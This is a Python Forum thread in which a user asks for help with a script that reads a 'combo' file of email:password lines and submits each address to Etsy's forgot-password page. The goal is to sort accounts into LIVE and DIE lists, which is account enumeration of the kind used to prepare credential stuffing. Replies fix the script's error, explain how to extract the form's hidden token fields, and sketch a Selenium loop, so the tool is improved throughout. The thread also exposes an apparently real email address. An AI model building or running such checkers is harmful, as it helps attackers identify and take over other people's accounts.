Python Forum

Full Version: requests problem in python script "content type"
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
When I want to check the e-mail, it is on the site or not, and even though the e-mail is there, it tells me there is no!
Existing email is: abdlouafitahiri@hotmail.com

Where is the problem perhaps in request data or not recognizing the text in success_keyword !!
import requests

def faild(email,):
    print(f"login is faild {email}")
def passed(email,):
    print(f"login is true {email}")

def checker(data,):
    email = data[0]
    success_keyword = "Veuillez entrer une adresse électronique valide"
    api_sender=requests.session()
    http = api_sender.post("https://www.etsy.com/forgot_password?email=", data={"email":email,"submit": "Submit"}).text
    content = http.content
    if success_keyword in content:
        passed(email)
    else:
        faild(email)
combos_name = input("Please Enter combo name:")
combos = open(combos_name, "r").readlines()
arranqe = [lines.replace("\n", "")for lines in combos]
for lines in arranqe:
    data = lines.split(":")
    checker(data)



always show full unmodified error traceback. It contains valuable information.
this error :
line 14, in checker
if 'Veuillez entrer une adresse électronique valide' in str(http.content):
AttributeError: 'str' object has no attribute 'content'
Remove .text end of line 12.
But looking at site so will this not work.
This is from data send:
email: test@gmail.com
ba1aadd6: 4xxxx
_nnc: 3:15xxxxxxxx
submit: Submit
So need to parse out this values or it will not work.
I think using selenium will be easier here,then should not need to find these values.

How setup for Requests would look.
import requests
from bs4 import BeautifulSoup
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
}
 
# Need to first find ba1aadd6 and _nnc vaules first
params = {
    email: test@gmail.com
    ba1aadd6: 4xxxx
    _nnc: 3:15xxxxxxxx
    submit: Submit
}
 
with requests.Session() as s:
    s.post('https://www.etsy.com/forgot_password?email=', headers=headers, params=params)
    # logged in! session cookies saved for future requests
    response = s.get('https://www.etsy.com/forgot_password?email=')
    # cookies sent automatically!
    # Example send to BS
    soup = BeautifulSoup(response.content, 'lxml')
    #welcome = soup.find('title').text
    #print(welcome)
I want to create an email course
Each time he tries an email and returns to the second one until he finishes
for loop in "checkemail.send_keys(email)" looping in email ..
from selenium import webdriver
list = input("Input Mail List :")
list = open(list, "r").readlines()

driver = webdriver.Chrome()
driver.maximize_window()

driver.get("https://www.etsy.com/forgot_password?email=")
checkemail = driver.find_element_by_xpath('//*[@id="content"]/div/div/div/div[2]/form/div/input[1]')
checkemail.send_keys(email)
loginButton = driver.find_elements_by_css_selector("#submit-button")
loginButton[0].click()
if """<span class="inline-input-error-message" style="display:inline">Veuillez entrer une adresse électronique valide.</span>""" in checkemail:
    print("\033[31;1mDIE\033[0m | " + email + " | [(Checked)]")
    die.write(email + '\n')
else:
    print("\033[32;1mLIVE\033[0m | " + email + " | [(Checked)]")
    live.write(email + '\n')